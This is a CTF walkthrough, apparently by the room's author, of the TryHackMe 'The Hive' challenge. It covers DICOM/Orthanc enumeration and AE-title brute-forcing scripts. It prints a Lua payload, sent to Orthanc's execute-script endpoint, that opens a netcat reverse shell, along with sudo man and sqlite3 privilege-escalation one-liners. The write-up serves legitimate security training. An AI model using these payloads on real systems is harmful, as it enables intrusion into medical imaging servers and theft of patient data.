The Hive - TryHackMe Challenge


If you haven’t checked out TryHackMe yet, it’s a fantastic platform for learning cybersecurity through hands-on challenges. The site offers a wide variety of “rooms” — self-contained virtual environments that simulate real-world systems with intentional vulnerabilities. Each room is designed to help you build practical skills by hunting down hidden flags through enumeration, exploitation, and lateral thinking.
What’s especially cool is that the community can contribute their own rooms, which makes for a fun and ever-evolving ecosystem of challenges — and a great way to learn from others.
A while back, I created a room focused on exploiting Kubernetes clusters. More recently, I got inspired again and built a brand-new challenge with a twist: it’s themed around healthcare security, with a little Resident Evil flair for extra atmosphere. 🧬🧟♂️
Curious how to beat it? Here's the full write-up:
Reconnaissance
To makes things a bit more convenient, edit your /etc/hosts
file, adding a hive.thm
entry to save your target IP:
x.x.x.x hive.thm
First things first, let’s portscan :
nmap -sV -T4 hive.thm -vv
Starting Nmap 7.80 ( https://nmap.org ) at 2022-08-08 01:24 CEST
NSE: Loaded 5 scripts for scanning.
Initiating Ping Scan at 01:24
Scanning hive.thm (x.x.x.x) [2 ports]
Completed Ping Scan at 01:24, 0.06s elapsed (1 total hosts)
Initiating Connect Scan at 01:24
Scanning hive.thm (x.x.x.x) [1000 ports]
Discovered open port 22/tcp on x.x.x.x
Discovered open port 80/tcp on x.x.x.x
Discovered open port 8042/tcp on x.x.x.x
Discovered open port 4242/tcp on x.x.x.x
Completed Connect Scan at 01:24, 0.90s elapsed (1000 total ports)
Initiating Service scan at 01:24
Scanning 4 services on hive.thm (x.x.x.x)
Completed Service scan at 01:24, 21.58s elapsed (4 services on 1 host)
NSE: Script scanning x.x.x.x
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 01:24
Completed NSE at 01:24, 0.00s elapsed
Nmap scan report for hive.thm (x.x.x.x)
Host is up, received syn-ack (0.067s latency).
Scanned at 2022-08-08 01:24:27 CEST for 23s
Not shown: 996 closed ports
Reason: 996 conn-refused
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack SimpleHTTPServer 0.6 (Python 3.5.2)
4242/tcp open vrml-multi-use? syn-ack
8042/tcp open nagios-nsca syn-ack Nagios NSCA
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
On port 80, we get an assignment from the Red queen.
(I used Kdenlive to put this together — it took some time to get the hang of it, but I had a lot of fun along the way 😂)
It contains a hint to find something that seems to be a password 😈
Then we get two other ports :
8042: another webserver
4242: a tcp endpoint
Let’s learn a bit more about the webserver:
curl -vvv -L http://hive.thm:8042/
* Trying x.x.x.x:8042...
* TCP_NODELAY set
* Connected to hive.thm (x.x.x.x) port 8042 (#0)
> GET / HTTP/1.1
> Host: hive.thm:8042
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 401 Unauthorized
< Connection: keep-alive
< Keep-Alive: timeout=1
< WWW-Authenticate: Basic realm="Orthanc Secure Area"
< Content-Length: 0
<
* Connection #0 to host hive.thm left intact
So it appears to be an Orthanc server protected by HTTP basic auth.
It probably exposes a port for DICOM.
The following nmap script can help us learn more about it: https://nmap.org/nsedoc/scripts/dicom-ping.html
nmap --script=dicom-ping -T4 hive.thm -vv
Starting Nmap 7.80 ( https://nmap.org ) at 2022-08-08 01:51 CEST
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 01:51
Completed NSE at 01:51, 0.00s elapsed
Initiating Ping Scan at 01:51
Scanning hive.thm (x.x.x.x) [2 ports]
Completed Ping Scan at 01:51, 0.06s elapsed (1 total hosts)
Initiating Connect Scan at 01:51
Scanning hive.thm (x.x.x.x) [1000 ports]
Discovered open port 80/tcp on x.x.x.x
Discovered open port 22/tcp on x.x.x.x
Discovered open port 8042/tcp on x.x.x.x
Discovered open port 4242/tcp on x.x.x.x
Completed Connect Scan at 01:51, 0.99s elapsed (1000 total ports)
NSE: Script scanning 10.10.99.46.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 01:51
Completed NSE at 01:51, 0.12s elapsed
Nmap scan report for hive.thm (x.x.x.x)
Host is up, received syn-ack (0.075s latency).
Scanned at 2022-08-08 01:51:27 CEST for 1s
Not shown: 996 closed ports
Reason: 996 conn-refused
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
4242/tcp open dicom syn-ack
| dicom-ping:
| dicom: DICOM Service Provider discovered!
|_ config: Called AET check enabled
8042/tcp open fs-agent syn-ack
So port 4242 is indeed a DICOM endpoint.
We can also try to probe it using dcmtk, it’s a toolkit that contains many programs to work with DICOM, including the following echoscu.
echoscu hive.thm 4242
F: Association Rejected:
F: Result: Rejected Permanent, Source: Service User
F: Reason: Called AE Title Not Recognized
Bruteforcing
Both nmap
and echoscu
show that there is a check on the Called AET and we don’t know it. So… let’s try to bruteforce it!
nmap proposes a script to bruteforce an AET but it was so slow for me that I decided to write my own program.
#!/bin/bash
while read p; do
echoscu -aec $p hive.thm 4242 > /dev/null 2>&1
if [ $? -eq 0 ]; then
echo AET FOUND $p
break
else
echo invalid aet $p
fi
done < wordlists/rockyou.txt
Or if you prefer using python:
from pynetdicom import AE
from pynetdicom.sop_class import Verification
ae = AE(ae_title='local')
ae.add_requested_context(Verification)
orthanc_host = "hive.thm"
orthanc_port = 4242
with open('wordlists/rockyou.txt') as wordlist:
for line in wordlist:
assoc = ae.associate(orthanc_host, orthanc_port, ae_title=line.strip())
if assoc.is_established:
assoc.release()
print(f'AET FOUND: {line.strip()}')
break
else:
print(f'Invalid AET: {line.strip()}')
Using the rockyou wordlist, we manage to find the AET pretty quickly.
Using DICOM
Now that we know the called AET, we can start interacting with the DICOM server.
findscu
and getscu
from dcmtk can be used to do it, first by listing patients and then by downloading a patient’s study.
findscu -aec shadow -P -k "0008,0052=PATIENT" -k "0010,0020=" hive.thm 4242
getscu -aec shadow -k "0008,0052=PATIENT" -k "0010,0020=MARCUS" hive.thm 4242
But I think it’s much easier to do it with weasis.
In weasis, configure a DICOM node with the AE title found earlier:
Then search and import studies from the PACS in “DICOM Query/Retrieve”:
We can now look at the study, slices of a human skull. In one of the last slices, a password is visible.(blurred here)
We can now log into orthanc using marcus account with the password we just found!
Remote code execution
Orthanc exposes a REST API that has a very insteresting endpoint.
Let’s try to get a shell.
Locally, run nc -l -p 4242
to listen for TCP traffic.
And send our reverse shell payload through the execute-script endpoint.
payload.lua:
local handle = io.popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc YOUR_LOCAL_IP 4242 >/tmp/f")
local result = handle:read("*a")
handle:close()
print(result)
curl -u marcus:xxxxxxxx http://hive.thm:8042/tools/execute-script -X POST -d @payload.lua
And it worked, we have a shell!
Privilege escalation
First, let’s stabilize the shell:
python3 -c "import pty; pty.spawn('/bin/bash')"
Who are we?
marcus@hive:/$ whoami
whoami
marcus
Looking into marcus home directory, we find the first flag!
What can we do?
marcus@hive:/$ sudo -l
sudo -l
Matching Defaults entries for marcus on hive.thm:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User marcus may run the following commands on hive.thm:
(isaacs) NOPASSWD: /usr/bin/man
So we can execute the manual as another user and inside the manual we can get another shell:
$ sudo -u isaacs /usr/bin/man man
!/bin/sh
Did it work?
$ whoami
whoami
isaacs
It did!
What can we do now?
$ sudo -l
sudo -l
Matching Defaults entries for isaacs on hive.thm:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User isaacs may run the following commands on hive.thm:
(ALL : ALL) ALL
(root) NOPASSWD: /usr/bin/sqlite3
Executing sqlite3 as root. Let’s get another (again!) shell:
sudo sqlite3 /dev/null '.shell /bin/sh'
# whoami
whoami
root
And we’re root, final flag is in root’s home directory.
That’s it! I hope you enjoyed the challenge and that DICOM hasn’t been too painful if you just learnt about it!
Subscribe to my newsletter
Read articles from Thibaut Tauveron directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by

Thibaut Tauveron
Thibaut Tauveron
👋 Hi, I’m a cloud engineer and cybersecurity enthusiast based in Zürich. I’ve worn many hats over the years—developer, DevOps consultant, SRE, cloud architect—and what ties it all together is a passion for building secure, scalable systems that just work. I write about cloud infrastructure, DevSecOps, and anything that helps teams move faster without breaking things. I believe in automation, simplicity, and sharing knowledge—whether through blog posts, open source, or mentoring.